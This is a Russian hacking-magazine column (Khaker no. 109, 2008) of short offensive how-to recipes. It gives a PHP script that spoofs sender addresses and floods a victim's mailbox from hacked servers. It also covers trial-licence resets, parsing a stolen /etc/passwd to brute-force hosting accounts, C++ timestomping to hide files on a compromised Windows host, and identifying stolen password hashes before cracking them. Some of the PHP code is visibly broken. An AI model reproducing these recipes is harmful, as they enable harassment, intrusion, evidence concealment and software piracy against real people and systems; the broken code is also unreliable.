Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 109, ЯНВАРЬ 2008 г.

Easy-Hack

Хакер, номер #109, стр. 040

Леонид «R0id» Стройков (stroikov@gameland.ru)

Леонид «Cr@wler» Исупов (crawlerhack@rambler.ru)

Владимир «Dot.err» Савицкий (kaifoflife@bk.ru)

Задача: отослать письмо с поддельным адресом отправителя

Решение

Зачастую у многих из нас возникает необходимость отправить на мыло мессагу с поддельным адресом отправителя. Цели у всех разные: кто-то просто хочет приколоться над другом, а кто-то таким образом обходит антифрод в очередном забугорном шопе :). Тем не менее способ реализации в обоих случаях одинаковый. Для наглядности я подробно распишу все необходимые действия, чтобы у тебя не возникало лишних вопросов. Итак:

1. Берем в руки PHP и начинаем кодить (комменты ниже):

<?

ignore_user_abort(1);

set_time_limit(0);

$to = "target@mail.com";

$from = "from@mail.com";

$subject = "test";

$msg = "mail_message";

//$check = "your_mail@mail.com";

$amount = 1;

$fl = ("./log.txt", "w");

$count = 0;

if(strlen($from) == 0 || strlen($to) == 0 || strlen($msg) == 0 || strlen($amount) == 0){

echo("<br><center>Write message!</center>");

exit;

}

else{

while($count < $amount){

mail("$to", "$subject", "$msg", "From: $from");

count .= + 1;

fputs($fl, "$count flood-letters was sended...\n");

}

if(strlen($check) != 0){

$check_text = 'Done! $count flood-letters was sended!\n';

$check_sub = 'Check';

mail("$check", "$check_sub", "$check_text", "From: $from");

fputs($fl, "Done! $count flood-letters was sended!\n");

}

else{

fputs($fl, "Done! $count flood-letters was sended!\n");

}

}

fclose($fl);

?>

Как видишь, получившийся скрипт умеет не только отсылать мессаги от левого отправителя, но и довольно успешно флудит мыльник жертвы. Все, что от тебя требуется, - это указать следующие данные перед рассылкой:

  • $to = "target@mail.com"; - здесь вбиваем мыльник недруга (куда будем отсылать письмо).
  • $from = "from@mail.com"; - указываем адрес отправителя (от кого отправлено письмо, например admin@msn.com :)).
  • $subject = "test"; - тема нашего письма.
  • $msg = "mail_message"; - сама мессага :).
  • //$check = "your_mail@mail.com"; - необязательный параметр - отсылка лога тебе на мыло.
  • $amount = 1; - количество писем.

То есть при желании ты можешь задать параметру $amount значение 100 и пофлудить чужой мыльник. Однако стоит помнить, что рассылка проводится средствами PHP, а следовательно, полноценного спама не получится (одним словом, не жадничай :)).

2. Далее необходимо выбрать сервер, с которого мы будем запускать наш скрипт. Если тебе надо отослать лишь одно письмо с поддельным обратным адресом, то можешь смело регаться на фриварных хостингах с поддержкой PHP. Как правило, они разрешают отправку писем со своих доменов, но с очень жестким тайм-аутом (вплоть до минуты). Ну а если ты хочешь заняться флудом, то без ломаных серверов здесь не обойтись. В общем, как и где найти сервер, объяснять, думаю, не нужно, только не забывай про обязательное наличие PHP и Sendmail.

3. Раздобыв сервер, быстренько заливаем вышеописанный PHP -скрипт, указываем свои параметры и запускаем его :).

Вот, собственно, и все. Надеюсь, флуд чужого мыльника будет долгим, а глум над приятелем - веселым и продолжительным :).

Задача: продолжить использование программы после окончания срока действия триал-версии

Для чего это может понадобиться? Собственно, для продления срока использования программы. Немного об этичности и законности подобного подхода. Не вдаваясь в юридические тонкости, я лишь попробую извернуться и скажу: софт, выполняющий задачи возвращения к жизни дохлых программ, просто чистит реестр от ключей, о которых пользователь и понятия-то не имеет. Реестр мой, в нем я могу творить все, что захочу, могу удалять или модифицировать ключи, как мне заблагорассудится. И если при этом некоторые программы начинают работать и после окончания срока действия своей триальной лицензии, то я в этом не виноват :).

Решение

1. Скачиваем или устанавливаем с нашего диска программу Trial-Reset.

2. Запускаем программу и выбираем в меню «Protectors -> All -> Scan».

3. Находим в списке найденных ключей те ключи, в пути/имени которых фигурирует имя программы или ее компании-изготовителя, и удаляем их, выбрав в меню правой кнопки мыши Clear Key.

4. Запускаем программу и, если она откажется работать после этой процедуры, находим в списке найденных ключей те, которые созданы той же системой защиты, что и удаленные нами ранее (какая система защиты создала ключи реестра, можно узнать, посмотрев в столбец System списка ключей). Например, если мы ранее удаляли ключи и файлы, созданные протектором VBox, то удаляем все аналогичные.

Чтобы не рвать на себе волосы, созерцая картину последствий удаления совершенно не относящихся к нашей программе ключей, рекомендую перед выполнением действий установить галочку автосохранения: «Options -> Auto backup». После этого для всех ключей будет создаваться бэкап в папке Backup директории, где установлена программа Trial-Reset.

Совет: чтобы не проводить часы в ожидании окончания сканирования системы на предмет всех известных программе навесных защит, стоит сузить область поиска. Для этого нам понадобится программа PEid, которая может определить тип защиты, используемый софтиной, или же данные об используемом протекторе, которые несложно найти в интернете. Зная тип протектора, сканировать реестр можно уже только на предмет ключей, созданных им («Protectors -> имя_протектора -> Scan»).

Trial-Reset может понадобиться не только для оживления триальных программ, но и при снятии протектора. Например, мне она очень помогла при снятии VBOX’а с восьмого Photoshop CS.

Задача: отпарсить удобочитаемый лист для брута из passwd-файла

Решение

Представь себе такую ситуацию: ты получил шелл на крупном хостинге либо приобрел возможность чтения файлов на сервере, но твои права сильно ограничены, а хостинг очень большой и аппетитный. Что делать? :) Правильно - первым делом следует запустить PHP-брут по имеющимся аккаунтам. Как показывает практика, на shared-хостингах очень распространены ламерообразные пароли, а значит, наши шансы достаточно велики :). Логины для брута мы будем сливать, естественно, из passwd-файла. Вот тут и возникает основной вопрос: как быстро и безболезненно отпрасить все логины пользователей из пары сотен строк, содержащих множество ненужной инфы (в виде путей до домашних каталогов и т.п.)? Начнем по порядку:

1. Сливаем passwd-файл с атакуемого сервера (если ты забыл, он находится по адресу /etc/passwd :)).

2. Пишем небольшой PHP-скрипт для парсинга слитого passwd-файла:

<?

$fn=fopen("passwd.txt","r");

if(!$fn){

echo("Can't open passwd.txt");

}else{

while(!feof($fn))

{

$np=fgets($fn);

$str=strrev($np);

$login=substr(strrchr($str,":"),1);

$rev=strrev($login);

$fp=fopen("logins.txt","a");

fputs($fp,"$rev\n");

fclose($fp);

}fclose($fn);

}

?>

3. Перед запуском скрипта сохраняем все содержимое passwd-файла в файл passwd.txt.

4. Запускаем наш скрипт с помощью PHP-интерпретатора и через несколько секунд забираем логины пользователей в logins.txt :).

Далее перед началом брута рекомендую скопировать все логины в password-лист и попробовать перебор по аккам вида логин:логин (то есть пароль равен логину). Мне не раз попадались подобные учетки, так что не сомневаюсь, что на крупном сервере повезет и тебе. В качестве брутера можно заюзать Гидру или FTP-bruter. Если ни первого, ни второго под рукой не окажется, поднимай подшивку ][, в одном из прошлых номеров я приводил пример FTP-брутера на PHP :).

Задача: скрыть время создания залитых файлов на взломанной Винде

Решение

Напишем небольшую прогу, меняющую время создания и изменения наших файлов на параметры, не вызывающие никаких подозрений. Используем для этого API-функции, например, при помощи языка C++.

1. Подключим заголовочный файл, содержащий описание этих функций (хотя нас будут интересовать лишь некоторые из них):

#include <windows.h>

2. Получим указатель (h_out) на файл uploaded.dat, параметры которого необходимо изменить. Воспользуемся функцией CreateFile() с флагом OPEN_EXISTING (таким образом, мы ничего не создаем, а открываем существующий файл на чтение):

HANDLE h_out = CreateFile("text5", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

Файл необходимо открыть с правами доступа на запись (GENERIC_WRITE), иначе поменять время не удастся.

3. Таким же образом получаем указатель на любой виндовый файл, стандартно создаваемый при установке. Для примера возьмем explorer.exe:

HANDLE h_in = CreateFile("C:\\WINDOWS\\explorer.exe", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);

4. Существует структура FILETIME, описанная в winbase.h, которую мы и будем использовать для хранения данных о времени создания файла. Нам понадобятся три переменные этого типа: время создания, время открытия, время изменения.

FILETIME t_created;

FILETIME t_opened;

FILETIME t_changed;

5. Получим время создания, открытия и изменения этого виндового файла, используя указатель (h_in) на предварительно открытый файл (explorer.exe).

GetFileTime(h_in, &t_created, &t_opened, &t_changed);

6. Присвоим эти значения залитому на взломанный сервер файлу (uploaded.dat) через указатель на него (h_out) при помощи функции SetFileTime():

SetFileTime(h_out, &t_created, &t_opened, &t_changed);

7. Закроем открытые нами хэндлы файлов:

CloseHandle(h_in);

CloseHandle(h_out);

Готово. После выполненной работы не забываем удалить (спрятать) саму прогу в чужой Винде из соображений безопасности. В итоге мы получили такой же древний, покрытый пылью веков файл, как и сама Винда, притом нас совершенно не интересовало, когда она была установлена.

Задача: найти все входящие в двоичный файл строки, удовлетворяющие определенным требованиям, и сохранить их в текстовом файле

Решение

Эта задача может возникнуть в ходе совершенно разных работ. Например, может понадобиться найти серийный номер или его хэш, ссылку, по которой программа переходит для удаленной проверки валидности лицензии программы, и т.д. С такой работой, которую вручную выполнить крайне сложно, нам поможет справиться шестнадцатеричный редактор WinHex.

1. Запускаем WinHex и открываем с его помощью исследуемый файл.

2. В меню выбираем «Specialist -> Gather text».

3. Задаем условия поиска. В поле Recognize text by задаем минимальное количество идущих подряд символов, которое WinHex будет считать текстом (рекомендую оставить стандартное значение - 7 символов). Устанавливаем флажки, которые определяют, что может включать в себя искомый текст: символы алфавита (Letters), цифры (Numbers) или знаки препинания и пробелы (Punctuation marks and spaces). Можно задать и направление поиска, и поддержку поиска Unicode-символов.

4. Нажимаем Ok, в открывшемся окне задаем имя файла, в который будут сохранены все найденные текстовые строки. После этого сообщаем программе размер создаваемого текстового файла и ждем результатов сканирования.

Задача: сохранить картинку и звук с понравившегося flash-баннера

Решение

Существует множество прог для работы с flash-анимацией. Мы будем заниматься разборкой на части swf-файла, поэтому нас будут интересовать flash-декомпилеры. Несмотря на их большой ассортимент, все они похожи, поэтому возьмем для примера Sothink SWF Decompiler.

1. Запускаем прогу. Интерфейс не русский, но это уже давно никого не пугает. Перетаскиваем баннер прямо из эксплорера в любое окно swf-decompiler'а либо выбираем его в дереве каталогов проги.

2. Декомпилер начнет просматривать файл и разбирать его на составные части. При среднем размере файла этот процесс занимает не больше 3-5 секунд. Справа в древовидной структуре можно просмотреть любые элементы ролика, отсортированные по категориям: формы (Shape), звуки (Sound), шрифты (Font), текст, спрайты (Sprite), кнопки (Button), кадры (Frame), скрипты ActionScript (Action).

3. Открываем папку Shape, содержащую статические изображения. В ней ищем понравившуюся графику, напротив нужного изображения ставим галочку. В случае отсутствия нужного рисунка, открываем каталог Sprite, в котором собраны анимированные картинки.

Возможно, тебе понравилось музыкальное оформление. Конечно, оно используется не так часто, но однохначно привлекает внимание. Все файлы wav и mp3, запакованные в swf-файл, будут перечислены в папке Sound. Выбираем, прослушиваем, ставим галочки.

В папке Button можно найти оформление кнопок и ссылок баннера.

4. Нужные элементы выбраны, в главном меню тыкаем «File -> Export» либо жмем <F2>. Перед нами диалог экспорта. Проверяем настройки: в области File format напротив Shape ставим «Flash (*.swf)», напротив Sound ставим «Sound (*.wav; *.mp3)», напротив Sprite – «Flash (*.swf)», напротив Button – «Flash (*.swf)». Определяем папку, в которую будут скопированы нужные картинки и звук, и жмем Export.

5. Работа с swf-декомпилером закончена. Мы имеем нужные нам изображения и анимацию в отдельных маленьких файлах формата swf. Для перевода этих swf-файлов в привычный формат (jpeg, gif, bmp и т.д.) используем любой специализированный swf-конвертер, например, для перевода в gif можно заюзать SWF-AVI-GIF Converter.

Вот теперь идем пить пив... хм, то есть задача выполнена: мы получили графику и звук из flash-баннера.

Задача: Определить тип алгоритма по виду хэша пароля

Решение

В последнее время то и дело натыкаюсь на различных хак-форумах на топики с темами типа «Помогите определить алгоритм!» или «Чем зашифрован пасс?». С чем это связано? На самом деле здесь все достаточно просто. Посуди сам, только модификаций одного MD5 развелось немерено, а учитывая, что на большинстве движков пассы юзеров хранятся в базе в шифрованном виде, атакующему порой приходится разгадывать недетскую головоломку. Итак, допустим, ты слил хэш пароля от админского аккаунта. Все твои дальнейшие действия можно подогнать под следующий план:

1. Определение алгоритма (чем зашифрован пароль).

2. Брут слитого хэша.

Как ты понимаешь, глупо начинать брут, пока точно не убедишься в том, что ты на 100% правильно определил алгоритм шифрования. Поэтому первое, что мы сделаем, - рассмотрим наиболее распространенные алгоритмы (в том числе и модификации MD5, применяющиеся в PHP-движках):

  • MD4 - 4a4a963e47c7b8a3b355e0e0c90d0aa0 - мало где используется, в основном для общего ознакомления :).
  • MD5 (Unix) - $1$qwe$pBmwBb8acK8LffnIJif6T1 - применяется при шифровании паролей пользователей в *nix-системах.
  • MD5 (APR) - $apr1$qwe$4EO8hVkTlZyQnU0L2dsJB - здесь все просто, обрати внимание на ключевое слово apr в хэше.
  • MD5 (128bit - md5($pass)) - 97f44b13955235245b2497399d7a93 - очень часто используемый алгоритм.
  • MYSQL (64bit) - 5668a61a05d9c04b - встречается в старом мускуле (<= 5-й версии), брутится быстро и непринужденно :).
  • MYSQL5 (160bit) - e56a114692fe0de073f9a1dd68a00eeb9703f3f1 - встречается в мускуле => 5-й версии, не дружит с брутом.
  • SHA-1 (160bit) - 601f1889667efaebb33b8c12572835da3f027f78 - достаточно криптостойкий алгоритм.
  • SHA-1 (HMAC) - f52c1ee3b7b74c8ced47ae9a8a1891cc49db07e6
  • SHA-1 (Base64) - YB8YiWZ++uuzO4wSVyg12j8Cf3g=

Используются в PHP:

  • md5($pass) - a16ce661f37300103b24add01c94c8dc - много где, например, в phpbb.
  • md5(md5($pass)) - 63ee451939ed580ef3c4b6f0109d1fd0 - применяется в e107.
  • md5(md5($pass).$salt) - 3b66224a098f5eb18ce1a0bc9628269e - применяется в vBulletin.
  • md5(md5($salt).md5($pass)) - 231b7727e6471d3f22ef56e190a3bf61 - применяется в IPB 2.x.x.
  • sha1($username.$pass) - da39a3ee5e6b4b0d3255bfef95601890afd80709

После того как ты определил тип хэша и алгоритм шифрования, можно приступать к бруту. Среди софта выделить можно следующие утилы:

  1. John the Ripper - отлично брутит пароли, шифрованные с помощью DES-алгоритма.
  2. PasswordsPro - мастер на все руки, перебирает различные модификации MD5, MySQL, SHA-1.

Софта достаточно много, и каждый имеет свои особенности. Кроме того, советую запускать перебор на ломаных дедиках, поскольку напрягать сутками родной комп - неблагодарное занятие. Конечно, ты всегда можешь написать собственную утилу, в этом случае мыль мне, и, быть может, твой брутер окажется на страницах любимого журнала :).

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001